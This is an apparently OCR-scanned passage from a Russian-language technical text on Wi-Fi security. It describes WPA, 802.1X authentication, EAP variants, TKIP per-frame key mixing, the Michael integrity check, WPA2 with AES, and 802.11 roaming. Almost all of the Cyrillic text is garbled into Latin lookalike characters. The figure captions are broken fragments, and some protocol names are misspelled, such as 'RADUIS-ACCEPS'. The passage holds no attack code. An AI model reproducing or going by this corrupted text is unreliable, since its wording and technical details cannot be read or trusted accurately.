OpanamayspoB. Bce ycrpoiictBa, He mnouuepxkuBatoumue I[Psec, ysa3BUMBI Tiepes
30HIMPOBAaHUEM WM aTakaMd CO CTOPOHBI JIOOBIX TOJIb30BATENECH, CIIOCOOHBIX
OCYIIECTBISITh MOHUTOPUHT Tpaduka B OecrnpoBomHod cetu. Ecnu mpotoxon IPsec
UCIIOJIB3YETCSl B KPYIHOM CHCTEME HE TOJIBKO JJI 3alUThl Tpaduka OecripoBOIHOM CETH,
HO Y /I KOMIUJIEKCHOM 3alUThl TpauKa APYTUX MPUIIOKEHHUM, YIIPABIATH MOJIUTUKAMU

IPSec Oynet cioxHO

Hotroxoa WPA
WPA BkJt04aeT B ce0sl yIy4IlIeHHbI MEXaHU3M ayTeHTU(PUKALUU U ITHUPPOBaHUS.
OTH M3MeHeHMsI ObUTM BHECEHBI B MpoekT crapmapta 802.111, omnako Anbsac Wi-Fi

coOpaB MOAHA00P KOMIIOHEHTOB, COOTBETCTBYIOIUX cTaHmapty 802.111 He H0KUmasch
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O(pHUIIHANTBHOTO MPUHATHS BHEAPHI HX TOAJEPKKY B BBIIYCKaeMoe O0OpYIOBaHHE.
[TpoTokon mosyuni Ha3BaHue «3amuiieHHbi qoctyn Kk Wi-Fi» (Wi-Fi Protected Access,
WPA).

Bammra  OECIIPOBOAHBIX  CeTeld  MMEEeT  4YeThlpe  COCTaBIiolIHe. basoBas
ayrentudukanus (authentication framework). Ipencrasisier coOoit MexaHH3M, KOTOPHIi
YCUIMBAET JICHCTBHE ajaropuTMa ayTeHTH(HMKAIUK MyTEeM OPraHMU3allid 3alHIICHHOIO
oOMeHa COOOIIEHUSIMUA MKy KITMCHTOM, TOYKOM JTOCTYIA U CEPBEPOM ayTCHTU(DHUKAIIHH.
Anroput™m ayreHtu(dukanuu. IIpeacraBiaser coO0OH alropuTM, MOCPEIACTBOM KOTOPOTO
TIOTBEPIKIAIOTCS MIOJTHOMOYHS MTOJB30BATEIIS.

AnropuT™m 3ammThl JaHHBIX. OOecreyWBaeT 3allUTy MpH Iepefade uepes
OecnpoBOIHYIO cpeny (GpeliMOB JaHHBIX. AJTOpUTM obOecredeHus nenocTHocTH. (data
integrity algorithm). OGecneunBaeT METOCTHOCTh JAHHBIX TIPU IEpeaade HX depes
0eCrpoBOIHYIO Cpely, MO3BOJIAS MPUEMHHMKY yOSAMTHCSA B TOM, YTO JAHHBIC HE OBLIH

ITIOAMCHCHBI.

ba3zoBasi ayreHTH(UKALMSA
OcHOBHBIE KOMIIOHEHTHI, o0ecneunBaromue 3PHEKTUBHYIO ayTEHTU(DUKAIINIO — ATO :
- ICHTpaJIN30BaHHAs ayTeHTU(UKAIIMS, OPUEHTUPOBAHHAS Ha MOJIb30BATEIIS;
- IMHAMUYECKHUE KITIOUH;
- yIipaBJieHHE 3ai(PpOBaHHBIMU KIIIOUAMU;
- B3aMMHas ayTeHTU(UKAITHS.

AyTteHTudUKaIMs1, OPUESHTUPOBAHHASI HA T0JIb30BATEIIS, YPE3BhIUAMHO BakHA JJISI
obOecrieueHrs 3alIUThl CeTH. AyTeHTHU(UKAIMS, OPUEHTUPOBAHHAs HAa YCTPOMWCTBA,
moI00Hasi CKPBITON ayTeHTU(HKAIMKA M ayTeHTU(UKAIIMU C COBMECTHO HCIOIB3YEMbIM
KJIIFOYOM, HE CIOCOOHAa BOCHPEMSATCTBOBATh HEABTOPU30BAHHBIM  IOJIH30BATEINISIM
BOCIIOJIb30BaThCA aBTOPU30BAHHBIM YCTPOHCTBOM. M3 3TOrO cieayeT, 4To Mpu MOTepe U
Kpa)ke TaKOro yCTPOMCTBA WJIM MO OKOHYAHUHU PabOTHI MO HAMMYy aJIMUHHUCTPATOpP CETH
OyJeT BBIHYXIEH BPYYHYH) H3MEHSTH KJIIOYHM BCEX TOYEK JIOCTyNa U KIHUEHTOB CETH

crangapta 802.11. Ilpu UEHTpaTU30BaHHOM, OPUEHTUPOBAHHOM Ha IMOJIb30BATENS
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yIpaBJIICHUU Yepe3 cepBep ayTeHTH(UKanuu, aBropusaimuu u ydera (authentication,
authorization and accounting, AAA), Ttakoii kak Radius, agMuHHCTpaTOp MOXKET
3aMpPETUTh JOCTYI K CETU OTAEJbHBIM MOJIb30BATEIAM, & HE UX YCTPOHUCTBAM.

AyTteHTudukanys, KoTopas TMOIAEPKUBACT CO3JaHUE JUHAMUYECKUX KITIOUEH,
XOPOULIO MOAXOAMT JUIs ylIydlieHus 3amuThl OecripoBoanbix LAN u Moaenu ynpasieHus
uMU. JluHAMUYecKHWe KIIOYM, WHIWBHAyalbHbIE [UJISI KaXXJIOrO  IOJIb30BAaTENs,
OCBOOOXKIAIOT aJAMMHHUCTpATOpa OT HEOOXOJUMOCTH HCIOJIb30BAHUSA CTATUYECKH
YIOPABISIEMBIX KIItOUel. JIMHAMUYeCKHEe KIIIOYM CaMM HA3HAYarTCS W aHHYJIHPYIOTCH,
KOI'/Ia M0JIb30BaTENb MPOXOIUT ayTEHTU(PHUKALIUIO.

B3aumnas ayteHTHQUKAUSA — 3TO ayTeHTU(UKALMS, TP KOTOPOIl HE TOJIBKO CETh
ayTeHTU(PUIMPYET TO0JIb30BaTENs, HO M MOJb30BaTelb ceTh. TexHomorus WPA,
pU3BaHHAS BpEMEHHO (B okuaaHuu nepexoaa k 802.111) 3akpsiTe 6pemin WEP, coctout
13 HECKOJIBKMX KOMIIOHEHTOB:

- npotokon 802.1X - yHUBepcaJdbHBIM MPOTOKON [JIsI ayTeHTU(UKAIUH,
aBTOpU3anuu 1 yueta (AAA);

- mporokon EAP - pacmmpsiembrit npotokon ayrentudukaruu (Extensible
Authentication Protocol);

- nportokon TKIP - mpoTOKOJM BpEMEHHOW LEIOCTHOCTH KIKOYEH, APYrou
BapHaHT TIEPEBOJia - IMPOTOKOJ IEJIOCTHOCTH Kitoueid Bo BpeMmeHu (Temporal Key
Integrity Protocol);

- MIC - xpuntorpaduueckas mpoBepka ImenocTHocTH TnakeToB (Message
Integrity Code);

- npotokoa RADIUS.

IIpokTokoua 802.1X

[Tporoxon 802.1X MOXET BBINOJHATH HECKOJIbKO (YHKIMA. B maHHOM ciiydae Hac
UHTEPECYIOT (PYHKIMHM ayTeHTU(UKALUKA TOJIb30BATEIsl M paclpeaesieHue KItouen
mdpoBanus. HeoOXoauMoO OTMETUTh, YTO ayTEHTU(UKAIUS MPOUCXOAUT «HA YPOBHE

MopTa» - TO €CTh IMOKa TOJIb30BaTellb HE OyneT ayTeHTU(PHUIIMPOBAH, €My pPa3pelIeHo
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NOCHUIATH/TIPUHUMATh TaKeThl, KacarolMecs TOJIbKO Mpolecca ero ayTeHTH(PHUKAIUU
(Y4eTHBIX JTaHHBIX) U He Oojee Toro. M Toybko mocie ycrnemHon ayTeHTu(GUKaIuu mopT
ycTpoiicTBa (Oyab TO TOUKa AOCTYIA WJIM KOMMYTATOp) OYJET OTKPBIT U MOJb30BaTEIh
noinyyut poctyn kK pecypcam cetu. IEEE 802.11x omnpenensier Tpu OCHOBHBIX
KOMIIOHEHTa B CETeBOM OKpyxkeHuu: Camnmumkant (supplicant) — 0OBEKT KOTOpPOMY
HeoOxomuma ayteHTudukanus. Cepep ayreHTudukanuu (authentication server) —
00beKT, obOecnieunBarOUMi COykObl ayTeHTH(UKaMu. B craHgapre 4YeTko He
OTpeeeHO, YTO JODKHO BBICTYNATh B KadyeCTBE cepBepa ayTeHTU(PUKALUMU, HO, Kak
npasuio, uM sieisierca cepeep RADIUS (Remote Access Dial In User Service).

Aytentudukatop (authenticator) — oOBEKT Ha KOHIIE CerMeHTa ''Touka--To4ka'
JIOKAJIbHOUM BBIYMCIMTENBHON CETH, KOTOPBIA CIIOCOOCTBYET ayTeHTU(HUKAUN 00BEKTOB.
JlpyrumMu cioBamMH, 3TO YCTPOMCTBO-TIOCPEIHUK, PACIOJIaraéMOe MEXAYy CEpBEpOM
ayTeHTU(PUKAUUA U calITUKaHTOM. OOBIYHO €0 POJIb BBINOJIHSAET OECIPOBOHAS TOYKA
JIOCTYyTIA.

AyTeHTU(UKATOP CO3/1a€T JOTHYECKUU TOPT /I YCTPOMCTBA CANIUIMKAHTA. DTOT
JIOTUYECKANA TIOPT MMEET JiBa TpaKTa MPOXOXKICHUS JTaHHBIX: HEKOHTPOJIUPYEMBINH H
KOHTPOJUPYeMbIii. HEeKOHTpOIMpyeMbIii TTOPT MO3BOJISET MPOXOAUTH YePe3 TPAKT BCEMY
Tpaduky ayreHTrudukanuu. KoHTposupyeMblii TpakT OJOKHUPYET MPOXOXKICHUE Tpapuka
70 TeX TOp, MOoKa He OyAeT OCYIIECTBJIICHA ycClemHas ayTeHTu(ukanus kineHta. Cwm.
pUCYHOK 6.8.

Bo Bpems ayrenTuduKanuum oOMEH COOOIICHUSIMU OCYIIECTBIISECTCS CIEAYIOIUM
oOpazom. KiHeHT-IpOCUTENh acCOUMUpPYETCs] C ayTeHTU(UKATOPOM TOYKOW JOCTYyTIA.
AyTteHTU(UKATOp MPEAOCTaBIsieT TMOpT mpocutento. llepeBomutr  mopt B
HEaBTOPU30BaHHOE COCTOsiHHME. KIMEHT HauWHaeT ayTeHTU(UKAIHI. AyTEHTH(PUKATOP
oTBevaer coobmenreM ¢ EAP 3ampocom Ha ayTeHTHU(UKALMIO MPOCHUTEN0, YTOOBI
YIOCTOBEPUTHCS B MJICHTUYHOCTH KiMeHTa. Ha cepBep ayTeHTU(]HKAIIUK OTIPaABISETCS
MakeT, CoACp KA HICHTU(DUKAITMOHHBIC TaHHBIC KIIHNCHTA.

B 3aBepmiennn moceinaercs maketr RADUIS-ACCEPS, RADIUS-REJECT,

HaIpaBJICHHBIN OT cepBepa ayTeHTU(UKAIMK K TOUKE TOCTYIIA.
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AyTeHTu(pUKaTOp MEPEBOAUT NOPT KIMEHTA B COCTOSTHUE ‘‘aBTOPU30BaH .

I:I CEThbg —

= = g ety

CepBep w < Jf
ayTeHTudmnkaumm ﬁ ﬁ |

L — —

i '____I__' i___

Tpaduk ctaHgapTa
802.1x yepe3s
HEKOHTpOnMpyemMbIn
nopT

OO6bIYHbIN TpadUnk
yepes
KOHTpOJNMpyeMbI MopT

NMpocuTtenb
ctaHpapTta 802.11

Puc. 28. Jlornueckue noptel ayreHTUPrkaTopa crangapra 802.1X

IIporoxoa EAP

IIporokon EAP (Extensible Authentication Protocol) 01 co3maH ¢ 1LenbIO
yOpa3HEHUS]  YaCTHBIX  MEXaHM3MOB  ayTEHTU(PUKAIMU U  PaCHpPOCTPAHECHUS
CTaHJApTU3UPOBAHHBIX TOJIXO0J0B — cxeM Tuma "3ampoc-otBet" (challenge-response) u
UHPPACTPYKTYphl, OCHOBaHHOM Ha NYyOJUYHBIX KJIOYaX U  IOJI30BATEIBCKUX
ceprudukarax. Crangaptuzanusi mMexanusMoB EAP mo3Bonmia caenatbs mpouenypy
ayTeHTU(PUKAIUA TPO3PAYHON I CEPBEPOB JOCTyMa PA3IUYHBIX MTPOU3BOJAUTEIICH.
Hanpumep, mpu MNOIKIIOYEHUH TIOJB30BATENsl K CEPBEPY YAAICHHOTO JOCTyNa U
ucrnosib3oBanuu Mexanmsma EAP mpotokona PPP nmns ayrenTudukammum cam cepsep
JIOCTyTa HE JOJDKEH 3HATh WIH MOAJACPKUBATh KOHKPETHBIE MEXaHU3MbI WJIA aJITOPUTMBbI
ayTeHTU(PUKaIUU, €To 3a/lada B 3TOM CiIydae — JIUIIb nepeaarh nakersl EAP-coobmennii

RADIUS-cepBepy, Ha KOTOpOM (haKTHUECKH MPOU3BOAUTCS ayTeHTH(UKaius. B sTtom
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ClIy4ae cepBep JAOCTyNa HCIOJHSET pOoJib MOCPEIHHMKAa MexIy KineHtoM u RADIUS-
CEpBEPOM, B 3a/1auu KOTOPOro Bxoaut nepeaadya EAP-cooOienuit Mexay HUMHU.
[lepeuncnum Hanboiee pacIpOCTPAHEHHBIE METOIBI ayTeHTU(DUKAIIUN

LEAP — anroputM B3auMHOW ayTEHTH(HUKAIMU C HCIOJH30BAHHEM MapOJIs.
[Iponpeoperapubiii Merox ot Cisco systems. [loanepxuBaercs 000pydOBaHHUEM
komrmanuu Cisco.

EAP-MDS - mnporenypa OJHOCTOpPOHHEM ayTEHTH(UKALMK CaNIUIMKaHTa
CepBEpPOM ayTeHTU(UKAIIMK, OCHOBaHHAs Ha MPUMEHEHHH XdII-CyMMbl MDS5 nmenu
MOJIB30BATENSI M MApoJid Kak noarBepxkacHue s cepeepa RADIUS. JlanHbiil MmeTon He
NOAJICP)KUBAET HU YNPABICHUS KIOYaMHU, HU CO3JaHUS JUHAMUYECKUX KITIOUEH.
SIBisieTcss IpOCTENIIMM U HE CTOUKHUM METOJIOM.

EAP-TLS - mpomemypa  ayTeHTHUKAIIMH, KOTOpas  IpEarojaract
ucroJib3oBaHue MUppoBbIx cepTudukaTtoB X.509 B paMkax UHPPAaCTPYKTYpPbl OTKPBITHIX
kaouerr (Public Key Infrastructure — PKI). EAP-TLS moanepxuBaeT AMHAMHUYECKOE
CO3JaHUE KJII0YEH M B3aMMHYIO ayTEHTH(PUKALHUIO MEXIY CANIUIMKaHTOM H CEPBEPOM
ayreHTu(@uKauuu. HegocratkoM TaHHOTO MeToAa SIBISIETCS HEOOXOJIMMOCTh MOIJIEPKKU
uHGpacTpyKTYphl OTKpBITHIX Kitoueir. EAP-TTLS - EAP, pa3paboTanHbiii KOMIaHUSIMU
Funk Software um Certicom u pacmmpstomuii Bo3moxknoctu EAP-TLS. EAP-TTLS
UCIOJIB3yeT 0e30M1acHOE COEIMHEHUE, YCTaHOBJIEHHOE B pe3yibTare TLS-kBUTHpOBaHUS
JUis OOMEHa JOIOJIHUTENbHON HMH(pOpMAIMell MeXAy CanlUIMKaHTOM U CEpPBEpOM
ayreHTUQuKauuu. B pesynpTaTe AanbHEWIIMIA MPOIECC MOMXKET MPOU3BOAUTHCS C
MOMOIIBIO JIPYTUX MPOTOKOJIOB ayTeHTHU(UKAIMK, Harpumep Takux, kak: PAP, CHAP,
MS-CHAP unu MS-CHAP-V2. EAP-PEAP — »>TOoT MeTOon meped HemoCpeCTBEHHOU
ayTeHTHU(UKalMel MoJjib30BaTeis cHayana oopazyeT TLS-TyHHenb Mexny KIMEHTOM U
CepBepOM ayTEeHTU(UKALHUU. A yXKe BHYTPHM AITOrO TYHHENS OCYILECTBISIETCS cama
ayreHTU(PUKauus ¢ ucnojb3oBanuem crangaptaoro EAP (MDS5, TLS, MSCHAP V2).
EAP-MSCHAP V2 - Meton ayTeHTH(UKAIIMK HA OCHOBE JIOTHHA/TIAPOJIS TOJIH30BaTENS B
MS-cetsax. [lanubiii MeTo MOAAEP)KUBAECT (PYHKIMU YIPABICHUS KIIOYAMH U CO3JaHUs
JUHAMHUYECKUX KITIOUEH.
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IIporokoa TKIP

Temporal Key Integrity Protocol (TKIP) — mnporokon, mnpemycMOTpeHHBII
cnerudukanuein WPA. TKIP npennaznayen s perieHus ocHOBHBIX mpodiem WEP B
oOnacTy mMUQPOBaHUSA NaHHBIX. /[ COBMECTUMOCTH C CYIIECTBYIOIIMM aIllapaTHbIM
obecnieuenneM TKIP ucnons3yer ToT xe anroputm mudposanusa, uro 1 WEP — RCA4.
TKIP noapa3ymeBaeT HECKOJIBKO CIIOCOOOB MOBBIIEHUS 3ALIUILEHHOCTH OECTIPOBOIHBIX
cerei:

- TMHAMUYECKHE KITFOYH;

- I3MEHEHHBIN METOJI TEHEPALINH KIIFOUEH;

- OoJiee HaJleKHBIM MEXAHU3M MPOBEPKH LIETTOCTHOCTU COOOIIECHU;

- YBEJIMYEHHBIN M0 JUIMHE BEKTOP MHULMANHU3AMH (10 48-pa3psiiHOro);
- HyMepanus aKkeToB.

OCHOBHBIE YCOBEPIIICHCTBOBaHUs, BHECEHHBbIE mpoTokosioM [KIP, crienyromue.
[TodpeiiMoBoe n3MeHeHHe Kitodel mudpoBanus. KoOHTpoIb LEIOCTHOCTH COOOLICHMUS
(message integrity check, MIC). O6ecnieunBaercs 3 (GEKTUBHBIA KOHTPOJIb LETOCTHOCTH
(GpeiiMOB NaHHBIX C LEIbI0 MPEAOTBPALICHUS NPOBEACHHS TAWMHBIX MaHUMYJSUUNA C
dbpeitmamu 1 Bocipon3BeeHUs (peiiMOB.

OCHOBHOI MPUHIMUII, HA KOTOPOM OCHOBAHO NO(PPENMOBOE M3MEHEHHE KIII0ua,
coctout B ToM, uto IV, MAC - aapec mnepemarunka u WEP — ximou oOpabartbiBaercs
BMECTE€ C TIOMOUIIbIO JBYXCTyNeH4YaTod (yHKUMM mepemermuBaHus. Bekrtop
WHULMATU3alud uMeeT 48 paspsiaHblid pazmep (B OTiIMUME OT 24 pa3psiAHOrO B JIPYTUX
MPOTOKOJIaX) M OH pa3OuT Ha JBE YacTH — cTapiume 32 paspsaa u muaamme 16 pa3psios.

[TodpeitMoBO M3MEHAEMBIN KIIIOY UMEET CHIIy TOJIbKO TOr/Aa, Korga 16-pa3psaHbie
3HaueHuss |V He wucnone3yorca mnoBTOpHO. Eciam 16-pa3psasbie 3Hauenus 1V
UCIIOJIB3YIOTCSL  IBaX/bl, IPOUCXOAUT KOJUIM3USA, B pE3yJbTaTe€ 4YEro IOSBISAETCS
BO3MOYXHOCTh MPOBECTU aTAKy W BBIBECTU KIHOYEBOH MOTOK. YTOOBI M30€kaTh KOJUIU3UI
IV, 3Hauenue kimoya 1-oi a3pl BBIUKCISETCS 3aHOBO MYTEM YBEJIWYEHHs CTapiux 32

pa3psanoB |V Ha 1 u moBTOpHOTO BhIUKCIIEHUS TOGPEHMOBOTO KIIHOYa.
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[Tporuecc mopeitMOBOro U3MEHEHHUS KITI04Ya MPOUCXOIUT CIETYIOMUM 00pa3oMm.

ba3oBpIii KIJIIOY, TOJYyYCHHBIM BO BpeMs ayTeHTU(PHUKAIMU W HMEIOIINI
pasmepHoCcTh B 128 paspsioB, nepememmuBaercss co crapmmmu 32 paspsaamu 48
pa3psiiHOTO BekTopa MHMLManm3amuun U 48-paspsaneiM MAC anpecom mepenatdmnka
(TA). PesympTaT 3TOr0 ACHCTBHS Ha3bIBacTCS KIOUOM MepBoi (asbl (80-pa3psaHblii).
Kitou mepBoii (a3er cHoBa mepememmBaetrcs ¢ IV u TA nmnsg BeIpaOOTKM 3HAYEHUS
nodperimoBoro kimoua (128-paspsanbiii, mepBeie 16 paspsgoB — 310 V). 1V,
UCIOJB3YeMBbIH I mepedaund (¢periMa wumeer pasmep 16 OuroB (0-65535).
[ToppeitmMoBBI KITtOU HCHONB3yeTCs s mudpoBanua aaHHbix. Korma 16-6utoBoe
npoctpaHcTBO |V oka3biBaeTcsi mMcyeprnaHHbIM, Kitod 1-il da3el orOpaceiBaercss u 32
CTapIlMX pa3psiia YBEIUUUBAIOTCS HA 1. 3aHOBO BBIUMCIIAETCA 3HAYEHHE MO(DPEHMOBOTO

KJiroda (puc. 29)

Emeoe, cremepHpoRapEEIR mo Crapume 32 paspaga MAC-agpec
cTamgapTy 221X T 7
..-'"r
1 ,i'#
I -~
] -
1 -
r"l
J'.*'
CiecE r
I : -~
,r.ﬂ
CrecH 16 odpeit w
. . PeRMOERH
Fmow 14t daser eI - N

@ Janmed porarcEn dperm
JAHHEIX

$pefm mapmx o

OTFPETEIM TRFC TON

Puc. 29. ITodpeiiMoBoe n3MEHEHHE KITIOUeH
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IIpoBepka nenocrnoctu coodmenuii MIC

MIC TIlIpoBepka menoctHocTH coobmmenuii (Message Integrity Check, MIC)
npeAHa3HaueHa [Jisg MpeAOTBpaIleHUs 3axBaTa MAaKETOB JIaHHBIX, HM3MEHEHUS UX
colepkumMoro M mnoBTopHOW mepecbuikd. MIC mnoctpoena Ha ©0a3ze MONTHOM
MaTeMaTU4YeCKOM (PYHKIUU, KOTOPYIO MPUMEHSIOT OTIPaBUTENb U MOJydYaTesb, a 3aTeEM
CpaBHMBAIOT pe3ysbTar. Ecii OH HE CcoBMajgaeT, TO JAaHHBIE CUUTAIOTCS JIOKHBIMU U
MakKeT 0TOPachIBAETCH.

B ortnmume or WEP, roe misg KOHTpPOJS LENOCTHOCTH MEPENABAEMBIX JAHHBIX
VICII0JIB30BAJIACh CRC-32, TKIP IIPUMEHSET MIC, 00ecIreynBaroIIHii
KpUNITOTpaUUECKyt0 KOHTPOJIBHYI0O CyMMY OT HECKOJBKHMX TMOJIeH (aIpec HCTOYHHKA,
aJipec Ha3HA4YCHMS U NOJI NaHHbIX). Tak kak kinaccuyeckue MIC-anroputMsl (Hanpumep,
HMAC-MD5 umun HMAC-SHA1) m1s cymecTByrOIIEero 0ecrpoBOHOTO 000PYTIOBAHHMS
SBIISUTACH OYEHb "TsDKENbIMU" M TpeOoBaidu OOJBIIMX BBIYUCIUTENBHBIX 3aTpaT, TO
CIIeLMAJIBHO JIJI1 MCTOJIb30BaHMs B OecnpoBoiHbIX ceTax Hubcom Deprioconom (Niels
Ferguson) Obu1 paspabotan anroputm Michael. [{ns mmdpoBanus oH npumeHsier 64-
OWTHBIA KJIIOY M BBITIOJHSACT ACHCTBUA Hajd 32-OumTHbIMH OnokamMu maHHbIX. MIC
BKJIIOYAETCs B 3alIM(POBAHHYIO YacTh (PperiMa Mex Ty nmojeM AaHHbIX U nojem [CV.

s obecriedueHns 1MEIOCTHOCTH AaHHBIX B mpotokoiie TKIP, momumo mexanmsma
MIC, npenycMmoTpeHa emie omaHa (yHKiusa, oTrcyrcTBoBaBiias B WEP, -- nmymeparus
nakeroB. B kadectBe HoMmepa ucnosb3yercs [V, xoropeii teneps HasbiBaercs TKIP
Sequence Counter (TSC) m umeer mmuny 48 Out, B orTinmume ot 24 O6ut B WEP.
VBenuuenue qmHbl [V 10 48 Our mo3BosigseT H30€XaThb KOJUIM3UMM BEKTOPOB U
rapaHTUPYET, YTO OHU HE MOBTOPATCS HA MPOTSHKEHUU MHOTHUX JIET.

OcHOBHBIM M cambiM BaxxHbIM oTiuuuem TKIP or WEP sBasercs mexaHuszm
yIpaBJieHUs KJIF0YaMU, MO3BOJISIOMINA TTEPUOIUYECKH U3MEHATh KIIFOYM U MPOU3BOIUTH
0OMEH WMH MEXIy BCEMH YYaCTHHKAMH CETEBOTO B3aMMOJICUCTBHS: CANIUIMKAHTOM,
ayTeHTU(UKATOPOM U cepBepoM ayTeHTHdukauuu. B mpomecce paboTel U
ayTeHTU(PUKAIIUM Ha pa3HBIX dTanmax B3aUMOJCHCTBUS W JJIs Pa3IUYHBIX IeJIei

TEHEPHUPYIOTCA crenuann3upoBanHbie kimtoun. Ha puc. 30 mokazaH MexaHu3M pabOThI
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anroputma MIC.,

MAC-3Ipec CTAHLMM MAC-3 1080 MCTONHHES Mone3Hee JaHHE e
HazHauerunA (DA) (SA) CTaHAapTa #0211
Michael
64-pazpAgHe MIC
Y
16 pazpag | NonesHee JaHHeE 64-pazpALHEM 32-pazpAHEIA

He) 14 MIC It
Lcppo o
B3HME [EIE JAHHEM CFreH

Puc. 30. Pa6ota anropurma MIC
Wtak, 3Has KakuM 0Opa3oM MPOUCXOIUT MOppEeriMOBOE M3MEHEHHE KIOYel, a
TaK)Ke MOHUMAs MPUHITUI PabOThI aJTOPUTMa KOHTPOJIS 1eocTHOCTH coobmennit MIC,
MOKHO paccMoTpeTh anroputm mudposanus gaHHbx TKIP (puc. 31).
['enepupyercst nodpeiimoBbiii kintod. Anroputm MIC renepupyer MIC s
dpeitma BrienoMm. @peiim parmeHTHpyeTcs B cooTBeTcTBUU ¢ ycTtaHOBKamu MAC mis

dpeiima B niesioM. @parmMenTsl hperiMa mudpyroTcs ¢ MOMOIIBI0 MoGpeHMOBOro Kiroya.
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OcymiectBisieTcs nepeaaya 3amu@poBaHHbIX (peiiMoB.

V-~ ll
— —:'.—» Ko 1-4 Gass Nogpeio
BbiH KNHY
Kniow

Kniay MIC

‘_’ u;iﬁ: ri?(t,' i mﬁ;ﬁ:ﬁ"' JaumdporasHbIe dparMenTy ppeviva
T

Puc. 31 — Anroputm mudposanust TKIP
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Cranpapt 802.11i

Crannmapt 802.111 witu WPA2 Obut ipussT B ceHTsi0pe 2004 rona opraHu3anueit
Wi-Fi Alliance u mpencraBisieT co0oil cepTH(OUIMPOBAHHYIO COBMECTHMYIO BEPCHIO
nonHo crnemudukanuu IEEE  802.111, npunsroit B wutone 2004 roma. Kak wu
NPEAIECTBYIOINN emMy cTaHaapT, WPA2 noanepkuBaeT NMpPOBEPKY IOJIMHHOCTH IIO
nporokony IEEE 802.1X/EAP wunu TEXHONOTHIO TMpEIBAPUTENBHBIX KIIOUEH, HO, B
OTJIMYHE OT CBOEr0 MPEANICCTBEHHUKA, COIAEPXUT HOBBIA YCOBEPUICHCTBOBAHHBIN
mexanusMm mudposanusi AES (Advanced Encryption Standard) co 128 GUTHBIM KIHOYOM.

AES npumen Ha cmeny DES, B ero ocHoBe nexut anroput™ Rijndael. Cormacho
orieHkam, Rijndael He moiBepkeH ClIeNyIOMKUM BUIaM KPUNITOAHATUTHYECKUX aTaK:
1.V anroputrMa OTCYTCTBYIOT clla0Oble KJIIOUM, @ TAK:KE€ BO3MOXKHOCTH €r0 BCKPBITHS C
MOMOIIIBIO ATaK HA CBSI3aHHBIX KIIFOYaX.

2.K aNrOpuUTMy HE MIPUMEHHUM b depeHunanbHbIN KPUNTOAHAIINS.
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3. AlropuT™M HE aTakyeM C I[OMOIIBI0 JIMHEHHOr0 KPUNTOAHAIM3a U YCEUCHHBIX
nuddepenimanos.
4. Square-araka (cmeuuuuHas araka Ha aNTOPUTMBI CO CTPYKTYpOH «KBaapat», K
KoTopbiM oTHOcuTcsi W AES) Ttakke He mpumenuma Kk ainroputMmy Rijndael.
5. AITOpUTM HE BCKPBIBAETCS METOI0M MHTEPIOJISIIUU.

CepBep ycTaHaBIMBAeT ¢ KIMEHTOM [LS — TyHHenmb (B MoeM ciydae y
KJIMEHTa wuMeeTcss cepTtudukatr cepBepa ayreHTuduxanuu. CepBep mnepemaer
3amnU@pPOBAHHBIN KIIOU CEaHCA, KIMEHT MCIOJIb3YsS OTKPBITHIA KIIIOY COACpPKALIUNCS B
ceprudukare u pacmmppoBbiBacT Kiou ceaHca). CepBep ayTeHTHU(UKAIMU BHYTPH
cOpPMUPOBAHHOTO TYHHEJS HAayMHAEeT AayTeHTU(PUKALUIO KIMEHTa, Ui 3TOro
NOCBIJIAETCS  3alIpoC Ha TMPEJOCTaBICHUE HEOOXOAMMOW Id  ayTEeHTU(]HUKAIUU
uHpopmaruu. Tak kak ucnonb3dyercs MSCHAP V2 knueHT nepecbuiaeT CBOW JIOTUH U
napoib. CepBep ayTeHTH(UKAIMK TPOBEPSieT MMs TOJb30BaTelIsl W mapoib B Active
Directory wm mocne ymadyHOW TMPOBEPKH TOCHIIACT OECIPOBOAHOMY KOMMYTATOPY
coobmenne RADIUS ACCEPT coaepikaiee TUHaMUYECKHM K04 JUIsl mudpoBaHus
Tpadguka. KommyraTop mepemaeT AMHAMUYECKUN KIIOU KIUEHTY HCHOJB3YS KIHOY
ceanca. KommyTtarop ycraHaBiauBaeT ¢ kiaueHTOM 3anuiieHHoe VPN coenunenus u

MEPEBOIUT KIIMEHTCKUI MOPT B COCTOSIHUE JOMyCKAaroIee NepeHanpaBieHne Tpapuka
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RADIUS

| Kovyrarop Omoxupyer Bech
TpaduK He COOTBTETCTBYONIHT
| craraory 802.1X

RADIUS
(EAp_ OTBeT eHTyy
CT,

Y

)
RADIUS (pei30B 52 ayTeum(buKa

RAD| US(orpe, 2 Bhisop )

I I
|7Hepez[aqa )JaHHHx4>]—Hepeﬂaqa z[aHHHx—J

Puc. 37. Ilpouenypa npoxoxaenus ayrentudukanuu EAP-PEAP-MSCHAP V2

Poymunr B cersax 802.11

PoyMI/IHI‘ JACJIINTCA HAa IBA OCHOBHLIX BH/IA.
- OecmoBHBIN poymuHT (Seamless roaming);
- Ko4ueBo# poymuHr (nomadic roaming).
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becuioBHbIN pOyMHHT 00€CIIEUNBAET «HE3aMETHBIN» JIJIs1 aDOHEHTA MEePEX0/1 B 30HY
o0cnmy>kuBaHUs HOBOM 0a30BOM CTaHIMU, T.€. 0€3 MOTEPH COCAMHEHUS U 3a HEOOJBIION
IPOMEXYTOK BpeMeHHM (Hampumep, mnpu nepexone abonenta cetu GSM o Mmoxker
IpOAODKaTh TOBOpUTH). KoueBoil poyMHUHT O3Ha4aeT, 4TO a0OHEHT JIOJDKEH pa3opBaTh
TEKYUIUH CeaHC CBSI3M HAWTH HOBYIO 0a30BYIO CTAHIIMIO UM aCCOLMHUPOBATHCS C HEM.
HiMeHHO KOYeBOW POYMHUHI MOXKET OBITh OpraHu30BaH, B ceTax crtanmapta 802.11 6e3
IpPUMEHEHUsI JOMOJIHUTENbHOTO 00opynoBanusa. Jlns storo Ha kiumeHTtckoM [1K
HE0OXOIMMO HACTPOUTH COEAMHEHUS C KaX0W U3 TOYEK JOCTYyIa (HACTPOUTH apamMeTphbl
ayreHTu(ukanuu). OJHAKO H5TO HE OYEHb YAOOHO TaK Kak TMepexois B 30HY
o0CTyKMBaHUSI KJIMEHT JIOJDKEH OyJleT BHOBb BOCCTAHABIIMBATh BCE CETEBBIE CEAHCHI, K
TOMY € OH JIOJDKEH OyJeT MOBTOPHO MPOXOAUTH MNPOUEAYPY ayTeHTU(UKALMU KOTOpas
3anumaer 10 — 40 cekynn. Ilo 3ToMy B mpoektupyemon cetd OyAeT peaau30BaH
OECLIOBHBIA POYMMHT. [Ipexxne 4YeM MepexoauTh K PACCMOTPEHHUIO Ipouecca
OECILIOBHOTO POYMHUHTIa O3HAKOMUMCS ¢ OCHOBHBIMH IMOHSATUSMH.

